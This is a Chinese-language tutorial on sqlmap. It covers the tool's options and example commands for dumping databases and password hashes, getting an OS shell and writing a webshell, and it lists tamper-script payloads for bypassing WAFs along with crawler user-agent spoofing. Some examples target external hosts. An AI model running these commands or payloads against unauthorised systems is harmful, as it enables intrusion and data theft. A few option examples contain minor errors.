一:参数
知识框图:
知识框图参考链接:
https://www.cnblogs.com/bmjoker/p/9326258.html
Options
-h, --help 查看帮助,没什么好说的
-hh 查看全部的帮助
--version 查看版本
-v 显示信息的级别,一共有六级:0:只显示python 错误和一些严重信息;1:显示基本信息(默认);2:显示debug信息;3:显示注入过程的payload;4:显示http请求包;5:显示http响应头;7:显示http相应页面。
Target
-d 直接连目标后端接数据库,而不是使用sql注入漏洞,直接通过目标的侦听端口连接,当然需要有目标数据库的账号名和密码。例:-d "mysql://user:password@192.168.75.128:3389/databasename" --dbs 查询非常快。
-u 指定一个url连接,url中必须有?xx=xx 才行(最常用的参数)例:-u "www.abc.com/index.php?id=1"
-l 后接一个log文件,可以是burp等的代理的log文件,之后sqlmap会扫描log中的所有记录。例: -l log.txt
-x 站点地图,提交给sql一个xml文件。
-m 后接一个txt文件,文件中是多个url,sqlmap会自动化的检测其中的所有url。例: -m target.txt
-r 可以将一个post请求方式的数据包保存在一个txt中,sqlmap会通过post方式检测目标。例: -r post.txt
-g 使用google引擎搜索类似的网址,并且多目标检测。例: -g "inurl:\".php?id=1\"" \是转义
-c 将使用的命令写在一个文件中,让sqlmap执行文件中的命令,我们可以用--save命令将配置写入文件。
Request
--method=METHOD 指定是get方法还是post方法。例: --method=GET --method=POST
--data=DATA 指明参数是哪些。例:-u "www.abc.com/index.php?id=1" --data="name=1&pass=2"
--param-del=PARA. 指明使用的变量分割符。例: -u "www.abc.com/index.php?id=1" --data="name=1;pass=2" --param-del=";"
--cookie=COOKIE 指定测试时使用的cookie,通常在一些需要登录的站点会使用。例: -u "www.abc.com/index.php?id=1" --cookie="a=1;b=2"
--cookie-del=COO.. 和前面的 --param-del=PARA. 类似,就是指明分割cookie的字符。
--load-cookies=L.. 从包含Netscape / wget格式的cookie的文件中加载cookie。
--drop-set-cookie 默认情况下,sqlmap是开启set-cookie功能的,也就是当收到一个含有set-cookie的http包的时候,下次sql会使用新的cookie进行发包,如果使用这条命令,就会关闭这个功能。在level>=2时会检测cookie注入。
--user-agent=AGENT 指定一个user-agent的值进行测试。例: --user-agent="aaaaaaa" 默认情况下,sqlmap会使用自己的user-agent进行测试(所以很多服务器发现user-agent是sqlmap的数据包直接认为是入侵),sqlmap自己的user-agent是:sqlmap/1.0-dev-nongit-201603020a89(http://sqlmap.org)
--random-agent 使用随机user-agent进行测试。sqlmap有一个文件中储存了各种各样的user-agent,文件在sqlmap/txt/user-agent.txt 在level>=3时会检测user-agent注入。
--host=HOST 指定http包中的host头参数。例: --host="aaaaaa" 在level>=5时才会检查host头注入。\n是换行
--referer=REFERER 指定http包中的refere字段。例: --refere="aaaaa" 在level>=3时才会检测refere注入。
-H --headers 额外的header头,每个占一行。例:--headers="host:www.a.com\nUser-Agent:yuangh"
--headers=HEADERS 跟上边一样,再举一个例子: --headers="Accept-Language: fr\nETag: 123" 注意所有构造http包的部分均区分大小写
--auth-type=AUTH.. 基于http身份验证的种类。例: --auth-type Basic/Digest/NTLM 一共有三种认证方式。
--auth-cred=AUTH.. 使用的认证,例: --auth-type Basic --auth-cred "user:password"
--auth-file=AUTH.. 使用.PEM文件中的认证。例:--auth-file="AU.PEM" 少见。
--ignore-code=IG.. 无视http状态码。例: --ignore-code=401
--ignore-proxy 无视本地的代理,有时候机器会有最基本的代理配置,在扫描本地网段的时候会很麻烦,使用这个参数可以忽略代理设置。
--ignore-redirects 无视http重定向,比如登录成功会跳转到其他网页,可使用这个忽略掉。
--ignore-timeouts 忽略连接超时。
--proxy=PROXY 指定一个代理。例: --proxy="127.0.0.1:8087" 使用GoAgent代理。
--proxy-cred=PRO.. 代理需要的认证。例: --proxy="name:password"
--proxy-file=PRO.. 从一个文件加载代理的认证。
--tor 使用tor匿名网络,不懂。
--tor-port=TORPORT 设置默认的tor代理端口,不懂+2。
--tor-type=TORTYPE 设置tor代理种类,(HTTP, SOCKS4 or SOCKS5 (默认)),不懂+3。
--check-tor 检查是否正确使用Tor,不懂+4。
--delay=DELAY 每次发包的延迟时间,单位为秒,浮点数。例:--delay 2.5 有时候频繁的发包会引起服务器注意,需要使用delay降低发包频率。
--timeout=TIMEOUT 请求超时的时间,单位为秒,浮点数,默认30s。
--retries=RETRIES 超时重连次数,默认三次。例: --retries=5
--randomize=RPARAM 参数的长度,类型与输入值保持一致的前提下,每次请求换参数的值。有时候反复的提交同一个参数会引起服务器注意。
--safe-url=SAFEURL 用法和-u类似,就是一个加载测试url的方法,但额外功能是防止有时候时间长了不通讯服务器会销毁session,开启这种功能会隔一段时间发一个包保持session。
--safe-post=SAFE.. 和上面的一样,只是使用post的方式发送数据。
--safe-req=SAFER.. 和上面的一样,只是从一个文件获得目标。
--safe-freq=SAFE.. 频繁的发送错误的请求,服务器也会销毁session或者其他惩罚方式,开启这个功能之后,发几次错的就会发一次对的。通常用于盲注。
--skip-urlencode 跳过url编码,毕竟不排除有的奇葩网站url不遵守RFC标准编码。
--csrf-token=CSR.. 保持csrf令牌的token。
--csrf-url=CSRFURL 访问url地址获取csrf的token。
--force-ssl 强制使用ssl。
--hpp 使用http参数污染,通常http传递参数会以名称-值对的形势出现,通常在一个请求中,同样名称的参数只会出现一次。但是在HTTP协议中是允许同样名称的参数出现多次的,就可能造成参数篡改。
--eval=EVALCODE 执行一段指定的python代码。例: -u "www.abc.com/index.php?id=1" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"
Optimization
-o 开启下面三项(--predict-output,--keep-alive, --null-connection)
--predict-output 预设的输出,可以理解为猜一个表存在不存在,根据服务器返回值来进行判断,有点类似暴力破解,但和暴力破解又不同,这个是一个范围性的暴力破解,一次一次的缩小范围。
--keep-alive 使用http(s)长链接,性能更好,避免重复建立链接的开销,但占用服务器资源,而且与--proxy不兼容。
--null-connection 只看页面返回的大小值,而不看具体内容,通常用于盲注或者布尔的判断,只看对错,不看内容。
--threads=THREADS 开启多线程,默认为1,最大10。和 --predict-output 不兼容。
Injection
-p TESTPARAMETER 知道测试的参数,使用这个的话--level 参数就会失效。例: -p "user-agent,refere"
--skip=SKIP 排除指定的参数。例: --level 5 --skip="id,user-agent"
--skip-static 跳过测试静态的参数。
--param-exclude=.. 使用正则表达式跳过测试参数。
--dbms=DBMS 指定目标数据库类型。例: --dbms="MySQL<5.0>" Oracle<11i> Microsoft SQL Server<2005>
--dbms-cred=DBMS.. 数据库的认证。利: --dbms-cred="name:password"
--os=OS 指定目标操作系统。例: --os="Linux/Windows"
--invalid-bignum 通常情况下sqlmap使用负值使参数失效,比如id=1->id=-1,开启这个之后使用大值使参数失效,如id=9999999999。
--invalid-logical 使用逻辑使参数失效,如id=1 and 1=2。
--invalid-string 使用随机字符串使参数失效。
--no-cast 获取数据时,sqlmap会将所有数据转换成字符串,并用空格代替null。
--no-escape 用于混淆和避免出错,使用单引号的字符串的时候,有时候会被拦截,sqlmap使用char()编码。例如:select “a”-> select char(97)。
--prefix=PREFIX 指定payload前缀,有时候我们猜到了服务端代码的闭合情况,需要使用这个来指定一下。例: -u "www.abc.com/index?id=1" -p id --prefix")" --suffix "and ('abc'='abc"
--suffix=SUFFIX 指定后缀,例子同上。
--tamper=TAMPER 使用sqlmap自带的tamper,或者自己写的tamper,来混淆payload,通常用来绕过waf和ips。
Detection
--level=LEVEL 设置测试的等级(1-5,默认为1)lv2:cookie; lv3:user-agent,refere; lv5:host 在sqlmap/xml/payloads文件内可以看见各个level发送的payload
--risk=RISK 风险(1-4,默认1)升高风险等级会增加数据被篡改的风险。risk 2:基于事件的测试;risk 3:or语句的测试;risk 4:update的测试
--string=STRING 在基于布尔的注入时,有的时候返回的页面一次一个样,需要我们自己判断出标志着返回正确页面的标志,会根据页面的返回内容这个标志(字符串)判断真假,可以使用这个参数来制定看见什么字符串就是真。
--not-string=NOT.. 同理,这个参数代表看不见什么才是真。
--regexp=REGEXP 通常和上面两种连用,使用正则表达式来判断。
--code=CODE 也是在基于布尔的注入时,只不过指定的是http返回码。
--text-only 同上,只不过指定的是页面里的一段文本内容。
--titles 同上,只不过指定的是页面的标题。
Techniques
--technique=TECH 指定所使用的技术(B:布尔盲注;E:报错注入;U:联合查询注入;S:文件系统,操作系统,注册表相关注入;T:时间盲注; 默认全部使用)
--time-sec=TIMESEC 在基于时间的盲注的时候,指定判断的时间,单位秒,默认5秒。
--union-cols=UCOLS 联合查询的尝试列数,随level增加,最多支持50列。例: --union-cols 6-9
--union-char=UCHAR 联合查询默认使用的占列的是null,有些情况null可能会失效,可以手动指定其他的。例: --union-char 1
--union-from=UFROM 联合查询从之前的查询结果中选择列,和上面的类似。
--dns-domain=DNS.. 如果你控制了一台dns服务器,使用这个可以提高效率。例: --dns-domain 123.com
--second-order=S.. 在这个页面注入的结果,在另一个页面显示。例: --second-order 1.1.1.1/b.php
Fingerprint
-f, --fingerprint 指纹信息,返回DBMS,操作系统,架构,补丁等信息。
Enumeration
-a, --all 查找全部,很暴力。直接用-a
-b, --banner 查找数据库管理系统的标识。直接用-b
--current-user 当前用户,常用,直接用--current-user
--current-db 当前数据库,常用,直接用--current-db
--hostname 主机名,直接用--hostname
--is-dba 检测DBMS当前用户是否DBA
--users 查询一共都有哪些用户,常用,直接用--users
--passwords 查询用户密码的哈希,常用,直接用--passwords
--privileges 查看特权,常用。例: --privileges -U username (CU 就是当前用户)
--roles 查看一共有哪些角色(权限),直接用--roles
--dbs 目标服务器中有什么数据库,常用,直接用--dbs
--tables 目标数据库有什么表,常用,直接用--tables
--columns 目标表中有什么列,常用,直接用--colums
--schema 目标数据库数据库系统管理模式。
--count 查询结果返回一个数字,即多少个。
--dump 查询指定范围的全部数据。例: --dump -D admin -T admin -C username
--dump-all 查询全部数据。例: --dump-all --exclude-sysdbs
--search 搜索列、表和/或数据库名称。
--comments 检索数据库的备注。
-D DB 指定从某个数据库查询数据,常用。例: -D admindb
-T TBL 指定从某个表查询数据,常用。例: -T admintable
-C COL 指定从某个列查询数据,常用。例: -C username
-X EXCLUDE 指定数据库的标识符。
-U USER 一个用户,通常和其他连用。例: --privileges -U username (CU 就是当前用户)
--exclude-sysdbs 除了系统数据库。
--pivot-column=P.. 枢轴列名,不懂。
--where=DUMPWHERE 在dump表时使用where限制条件。
--start=LIMITSTART 设置一个起始,通常和--dunmp连用。
--stop=LIMITSTOP 同上,设置一个结束。
--first=FIRSTCHAR 以第一个查询输出的字符检索,不懂。
--last=LASTCHAR 以最后一个查询输出的字符检索,不懂+2。
--sql-query=QUERY 执行一个sql语句。
--sql-shell 创建一个sql的shell。
--sql-file=SQLFILE 执行一个给定文件中的sql语句
Brute force
--common-tables 检查有没有记录表信息的公共表,比如mysql>=5.0会有一个information_schema库,储存了整个数据库的基本信息。有这个会方便很多。
--common-columns 有没有记录公共列的表,比如Access就没有列信息。这两种方法都会使用暴力破解。
User-defined function injection
--udf-inject 编译共享库创建并上传至DB Server,生成UDF实现高级注入,不懂。
--shared-lib=SHLIB 同上,不懂。
File system access
--file-read=RFILE 读取目标站点的一个文件。例: --file-read="/etc/password"
--file-write=WFILE 写入到目标站点的一个文件,通常和--sql-query 连用。例: --sql-query="select "一句话木马" --file-write="shell.php"
--file-dest=DFILE 同上,只是使用绝对路径写入。
Operating system access
--os-cmd=OSCMD 执行一句系统命令。例: --os-shell="ipconfig -all"
--os-shell 创建一个对方操作系统的shell,远程执行系统命令。直接用即可--os-shell
--os-pwn 同上,获取一个OOB shell,meterpreter或VNC。
--os-smbrelay 同上,一键获取一个OOB shell,meterpreter或VNC。
--os-bof 利用缓冲区溢出。
--priv-esc 自动提权,数据库进程用户权限提升。
--msf-path=MSFPATH Metasploit Framework本地的安装路径。
--tmp-path=TMPPATH 远程临时文件目录的绝对路径。
Windows registry access
--reg-read 读一个Windows注册表。
--reg-add 添加一个注册表。
--reg-del 删一个注册表。
--reg-key=REGKEY 和之前连用,注册表key值。
--reg-value=REGVAL 和之前连用,注册表值。
--reg-data=REGDATA 和之前连用,注册表数据。
--reg-type=REGTYPE 和之前连用,注册表类别。
General
-s SESSIONFILE 从一个文件加载保存的session。
-t TRAFFICFILE 记录流文件的保存位置。
--batch 批处理,在检测过程中会问用户一些问题,使用这个参数统统使用默认值。
--binary-fields=.. 指定二进制结果的字段。
--check-internet 在评估目标之前检查互联网连接,新功能。
--crawl=CRAWLDEPTH 从起始位置爬取的深度。例: --crawl=3
--crawl-exclude=.. 除了哪些页面之外全部爬取。例: --crawl-exclude="abc.com/logout.php"
--csv-del=CSVDEL 指定在CSV输出中使用的分隔字符。
--charset=CHARSET 强制字符串编码。例: --charset=GBK
--dump-format=DU.. 转储数据的格式 ,有(CSV (默认), HTML,SQLITE)三种。
--encoding=ENCOD.. 用于数据检索的字符编码。例: --encoding=GBK
--eta 显示每个输出的预计到达时间 。
--flush-session 清空会话信息。
--forms 在目标URL上解析和测试表单。
--fresh-queries sqlmap每次查询都会讲查询结果储存在.sqlmap文件夹中,下次再有相同测查询会调用上次的查询结果,使用这个参数可以忽略文件中有的记载结果,重新查询。
--har=HARFILE 将所有http流量记录在一个har文件中。
--hex dump非ascii字符时,将其编码为16进制,收到后解码还原。
--output-dir=OUT.. 输出结果至文件。例: --output-dir=/tmp
--parse-errors 解析并显示报错信息。
--save=SAVECONFIG 将使用的命令保存到配置ini文件
--scope=SCOPE 和-l类似,只是这个可以过滤信息,使用正则表达式过滤网址。
--test-filter=TE.. 根据有效负载和/或标题,不懂。
--test-skip=TEST.. 根据有效负载和/或标题跳过测试,不懂+2。
--update 更新sqlmap。
Miscellaneous
-z MNEMONICS 参数助记符,比较傻的一个功能。例: -z "bat,randoma,ign,tec=BEU" 其实就是只要你写的字母可以唯一匹配其他参数,就可以生效。
--alert=ALERT 在找到SQL注入时运行主机OS命令。
--answers=ANSWERS 设置问题答案,在刚刚的--batch 可以跳过很多问题,但只是选择默认值,可以使用者个参数对特定问题设定特定答案。例: --answer "extending=N"
--beep 在问题和/或当SQL注入被发现时发出嘟嘟声。。。。。。。。。
--cleanup 从SqLMAP特定的UDF和表中找数据库,类似暴力破解。
--dependencies 检查缺少的Sql映射依赖项。
--disable-coloring 禁用控制台输出着色。
--gpage=GOOGLEPAGE 在指定页使用google结果,不懂。
--identify-waf 识别目标的防火墙。
--mobile cosplay 手机。
--offline 在脱机模式下工作。
--purge-output 情况输出文件夹。
--skip-waf 跳过WAF/IPS/IDS保护的启发式检测。
--smart 有大量检测目标时候,只选择基于错误的检测。
--sqlmap-shell 创建一个交互的sqlmap_shell,不懂。
--tmp-dir=TMPDIR 更改存储临时文件的本地目录。
--web-root=WEBROOT 设置Web服务器文档根目录。例: --web-root="/var/www"
--wizard 新手教程。
二:实例:
1.sqlmap基本步骤(数据库,表,列,字段)
判断是否存在注入点 | sqlmap -u http://127.0.0.1/sql/Less-1/?id=1 |
---|---|
查看所有数据库 | sqlmap -u http://127.0.0.1/sql/Less-1/?id=1 --dbs |
查看当前使用的数据库 | sqlmap -u http://127.0.0.1/sql/Less-1/?id=1 --current-db |
查看数据表 | sqlmap -u http://127.0.0.1/sql/Less-1/?id=1 -D security --tables |
查看列名 | sqlmap -u http://127.0.0.1/sql/Less-1/?id=1 -D security -T users --columns |
查看数据 | sqlmap -u http://127.0.0.1/sql/Less-1/?id=1 -D security -T users -C password,username --dump |
检测DBMS当前用户是否DBA | sqlmap -u http://127.0.0.1/sql/Less-1/?id=1 --is-dba |
查看当前用户 | sqlmap -u" http://43.138.24.18/SQL/Less-1/?id=1" --current-user |
2.Sqlmap执行sql语句
Sqlmap –u “http://127.0.0.1/1.php?id=1” --sql-query=”select version()”
Sqlmap –u “http://127.0.0.1/1.php?id=1” --sql-shell
Sqlmap –u “http://127.0.0.1/1.php?id=1” --sql-file=“c:\1.sql”
3.Sqlmap执行系统命令
sqlmap –u “http://127.0.0.1/1.php?id=1” --os-cmd=whoami
sqlmap –u “http://127.0.0.1/1.php?id=1” --os-shell
4.–file-write --file-dest:上传文件到数据库服务器中
该命令用于写入本地文件到服务器中,当数据库为MySQL、PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数时,上传的文件可以是文本,也可以是二进制文件。
sqlmap -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --file-write "C:/1.txt" --file-dest "C:/windows/Temp/1.php"
–file-write 自己要上传的文件路径(攻击者电脑)
–file-dest 上传到的位置(目标机器位置)绝对路径
5.–random-agent: 使用随机的浏览器代理头 --user-agent :使用浏览器代理头
–random-agent 随机浏览器代理头。
sqlmap -u "http://127.0.0.1/sql/test1.php/?id=1" --random-agent
–user-agent 使用浏览器代理头
sqlmap -u "http://127.0.0.1/sql/test1.php/?id=1" --user-agent="saaa"
搜索引擎的随机头:
百度搜索User-Agent:
百度 PC UA
Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
百度移动 UA
Mozilla/5.0 (Linux;u;Android 4.2.2;zh-cn;) AppleWebKit/534.46 (KHTML,like Gecko) Version/5.1 Mobile Safari/10600.6.3 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
Mozilla/5.0 (iPhone; CPU iPhone OS 9_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13B143 Safari/601.1 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
百度图片UA
Baiduspider-image+(+http://www.baidu.com/search/spider.htm)
神马搜索User-Agent:
神马搜索 PC UA
Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 YisouSpider/5.0 Safari/537.36
神马搜索移动 UA
Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e YisouSpider/5.0 Safari/602.1
谷歌User-Agent:
谷歌 PC UA
Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
谷歌移动UA
AdsBot-Google-Mobile (+http://www.google.com/mobile/adsbot.html) Mozilla (iPhone; U; CPU iPhone OS 3 0 like Mac OS X) AppleWebKit (KHTML, like Gecko) Mobile Safari
谷歌图片UA
Mozilla/5.0 (compatible; Googlebot-Image/1.0; +http://www.google.com/bot.html)
搜狗User-Agent:
搜索 PC UA
Sogou+web+spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)
搜狗图片 UA
Sogou+Pic+Spider/3.0(+http://www.sogou.com/docs/help/webmasters.htm#07)
搜狗新闻UA
Sogou+News+Spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)
搜狗视频UA
Sogou+Video+Spider/3.0(+http://www.sogou.com/docs/help/webmasters.htm#07)
360搜索User-Agent:
360搜索UA
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0);
360移动UA
Mozilla/5.0 (Linux; U; Android 4.0.2; en-us; Galaxy Nexus Build/ICL53F) AppleWebKit/534.30 (KHTML, like Gecko)Version/4.0 Mobile Safari/534.30; 360Spider
Mozilla/5.0 (Linux; U; Android 4.0.2; en-us; Galaxy Nexus Build/ICL53F) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30; HaosouSpider
360安全UA
360spider (http://webscan.360.cn)
必应User-Agent:
Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)
搜搜User-Agent:
搜搜UA:
Sosospider+(+http://help.soso.com/webspider.htm)
搜搜图片UA:
Sosoimagespider+(+http://help.soso.com/soso-image-spider.htm)
雅虎User-Agent:
雅虎中文UA:
Mozilla/5.0 (compatible; Yahoo! Slurp China; http://misc.yahoo.com.cn/help.html)
雅虎英文UA:
Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
头条搜索UA介绍
头条搜索的爬虫UA为“Bytespider”首写字母为大写,例如:
PC
Mozilla/5.0 (compatible; Bytespider; https://zhanzhang.toutiao.com/) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.0.0 Safari/537.36
Android
Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; https://zhanzhang.toutiao.com/)
iOS
Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Version/7.0 Mobile Safari/537.36 (compatible; Bytespider; https://zhanzhang.toutiao.com/)
没有使用代理头:就可以遭到防火墙的拦截
使用浏览器代理头,利用搜索引擎的user-agent,可以绕过防火墙CC流量防护
使用随机浏览器代理头
6.–tamper 绕过脚本
apostrophemask.py 适用数据库:ALL
作用:将引号替换为utf-8,用于过滤单引号
使用脚本前:tamper("1 AND '1'='1")
使用脚本后:1 AND %EF%BC%871%EF%BC%87=%EF%BC%871
base64encode.py
适用数据库:ALL
作用:替换为base64编码
使用脚本前:tamper("1' AND SLEEP(5)#")
使用脚本后:MScgQU5EIFNMRUVQKDUpIw==
multiplespaces.py
适用数据库:ALL
作用:围绕sql关键字添加多个空格
使用脚本前:tamper('1 UNION SELECT foobar')
使用脚本后:1 UNION SELECT foobar
space2plus.py
适用数据库:ALL
作用:用加号替换空格
使用脚本前:tamper('SELECT id FROM users')
使用脚本后:SELECT+id+FROM+users
nonrecursivereplacement.py
适用数据库:ALL
作用:作为双重查询语句,用双重语句替代预定义的sql关键字(适用于非常弱的自定义过滤器,例如将select替换为空)
使用脚本前:tamper('1 UNION SELECT 2--')
使用脚本后:1 UNIOUNIONN SELESELECTCT 2--
space2randomblank.py
适用数据库:ALL
作用:将空格替换为其他有效字符
使用脚本前:tamper('SELECT id FROM users')
使用脚本后:SELECT%0Did%0DFROM%0Ausers
unionalltounion.py
适用数据库:ALL
作用:将union all select 替换为union select
使用脚本前:tamper('-1 UNION ALL SELECT')
使用脚本后:-1 UNION SELECT
securesphere.py
适用数据库:ALL
作用:追加特定的字符串
使用脚本前:tamper('1 AND 1=1')
使用脚本后:1 AND 1=1 and '0having'='0having'
space2dash.py
适用数据库:ALL
作用:将空格替换为--,并添加一个随机字符串和换行符
使用脚本前:tamper('1 AND 9227=9227')
使用脚本后:1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227
space2mssqlblank.py
适用数据库:Microsoft SQL Server
测试通过数据库:Microsoft SQL Server 2000、Microsoft SQL Server 2005
作用:将空格随机替换为其他空格符号('%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '%0A')
使用脚本前:tamper('SELECT id FROM users')
使用脚本后:SELECT%0Eid%0DFROM%07users
between.py
测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:用NOT BETWEEN 0 AND #替换>
使用脚本前:tamper('1 AND A > B--')
使用脚本后:1 AND A NOT BETWEEN 0 AND B--
percentage.py
适用数据库:ASP
测试通过数据库:Microsoft SQL Server 2000, 2005、MySQL 5.1.56, 5.5.11、PostgreSQL 9.0
作用:在每个字符前添加一个%
使用脚本前:tamper('SELECT FIELD FROM TABLE')
使用脚本后:%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
sp_password.py
适用数据库:MSSQL
作用:从T-SQL日志的自动迷糊处理的有效载荷中追加sp_password
使用脚本前:tamper('1 AND 9227=9227-- ')
使用脚本后:1 AND 9227=9227-- sp_password
charencode.py
测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:对给定的payload全部字符使用url编码(不处理已经编码的字符)
使用脚本前:tamper('SELECT FIELD FROM%20TABLE')
使用脚本后:%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45
randomcase.py
测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:随机大小写
使用脚本前:tamper('INSERT')
使用脚本后:INseRt
charunicodeencode.py
适用数据库:ASP、ASP.NET
测试通过数据库:Microsoft SQL Server 2000/2005、MySQL 5.1.56、PostgreSQL 9.0.3
作用:适用字符串的unicode编码
使用脚本前:tamper('SELECT FIELD%20FROM TABLE')
使用脚本后:%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045
space2comment.py
测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:将空格替换为/**/
使用脚本前:tamper('SELECT id FROM users')
使用脚本后:SELECT/**/id/**/FROM/**/users
equaltolike.py
测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5
作用:将=替换为LIKE
使用脚本前:tamper('SELECT * FROM users WHERE id=1')
使用脚本后:SELECT * FROM users WHERE id LIKE 1
equaltolike.py
测试通过数据库:MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:将>替换为GREATEST,绕过对>的过滤
使用脚本前:tamper('1 AND A > B')
使用脚本后:1 AND GREATEST(A,B+1)=A
ifnull2ifisnull.py
适用数据库:MySQL、SQLite (possibly)、SAP MaxDB (possibly)
测试通过数据库:MySQL 5.0 and 5.5
作用:将类似于IFNULL(A, B)替换为IF(ISNULL(A), B, A),绕过对IFNULL的过滤
使用脚本前:tamper('IFNULL(1, 2)')
使用脚本后:IF(ISNULL(1),2,1)
modsecurityversioned.py
适用数据库:MySQL
测试通过数据库:MySQL 5.0
作用:过滤空格,使用mysql内联注释的方式进行注入
使用脚本前:tamper('1 AND 2>1--')
使用脚本后:1 /*!30874AND 2>1*/--
space2mysqlblank.py
适用数据库:MySQL
测试通过数据库:MySQL 5.1
作用:将空格替换为其他空格符号('%09', '%0A', '%0C', '%0D', '%0B')
使用脚本前:tamper('SELECT id FROM users')
使用脚本后:SELECT%0Bid%0DFROM%0Cusers
modsecurityzeroversioned.py
适用数据库:MySQL
测试通过数据库:MySQL 5.0
作用:使用内联注释方式(/*!00000*/)进行注入
使用脚本前:tamper('1 AND 2>1--')
使用脚本后:1 /*!00000AND 2>1*/--
space2mysqldash.py
适用数据库:MySQL、MSSQL
作用:将空格替换为 -- ,并追随一个换行符
使用脚本前:tamper('1 AND 9227=9227')
使用脚本后:1--%0AAND--%0A9227=9227
bluecoat.py
适用数据库:Blue Coat SGOS
测试通过数据库:MySQL 5.1,、SGOS
作用:在sql语句之后用有效的随机空白字符替换空格符,随后用LIKE替换=
使用脚本前:tamper('SELECT id FROM users where id = 1')
使用脚本后:SELECT%09id FROM users where id LIKE 1
versionedkeywords.py
适用数据库:MySQL
测试通过数据库:MySQL 4.0.18, 5.1.56, 5.5.11
作用:注释绕过
使用脚本前:tamper('1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#')
使用脚本后:1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#
halfversionedmorekeywords.py
适用数据库:MySQL < 5.1
测试通过数据库:MySQL 4.0.18/5.0.22
作用:在每个关键字前添加mysql版本注释
使用脚本前:tamper("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")
使用脚本后:value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa
space2morehash.py
适用数据库:MySQL >= 5.1.13
测试通过数据库:MySQL 5.1.41
作用:将空格替换为#,并添加一个随机字符串和换行符
使用脚本前:tamper('1 AND 9227=9227')
使用脚本后:1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23lujYFWfv%0A9227=9227
apostrophenullencode.py
适用数据库:ALL
作用:用非法双字节Unicode字符替换单引号
使用脚本前:tamper("1 AND '1'='1")
使用脚本后:1 AND %00%271%00%27=%00%271
appendnullbyte.py
适用数据库:ALL
作用:在有效载荷的结束位置加载null字节字符编码
使用脚本前:tamper('1 AND 1=1')
使用脚本后:1 AND 1=1%00
chardoubleencode.py
适用数据库:ALL
作用:对给定的payload全部字符使用双重url编码(不处理已经编码的字符)
使用脚本前:tamper('SELECT FIELD FROM%20TABLE')
使用脚本后:%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545
randomcomments.py
适用数据库:ALL
作用:用注释符分割sql关键字
使用脚本前:tamper('INSERT')
使用脚本后:I/**/N/**/SERT
symboliclogical.py
适用数据库:ALL
作用:AND OR 替换为 && ||
使用脚本前:tamper('1' AND 1=1')
使用脚本后:1' && 1=1
unmagicquotes.py
适用数据库:ALL
作用:宽字节绕过
例如:宽字节注入
sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper=unmagicquotes --dbs
适用数据库:ALL
作用:用一个多字节组合%bf%27和末尾通用注释一起替换空格
使用脚本前:tamper(“1’ AND 1=1”)
使用脚本后:1%bf%27 AND 1=1–
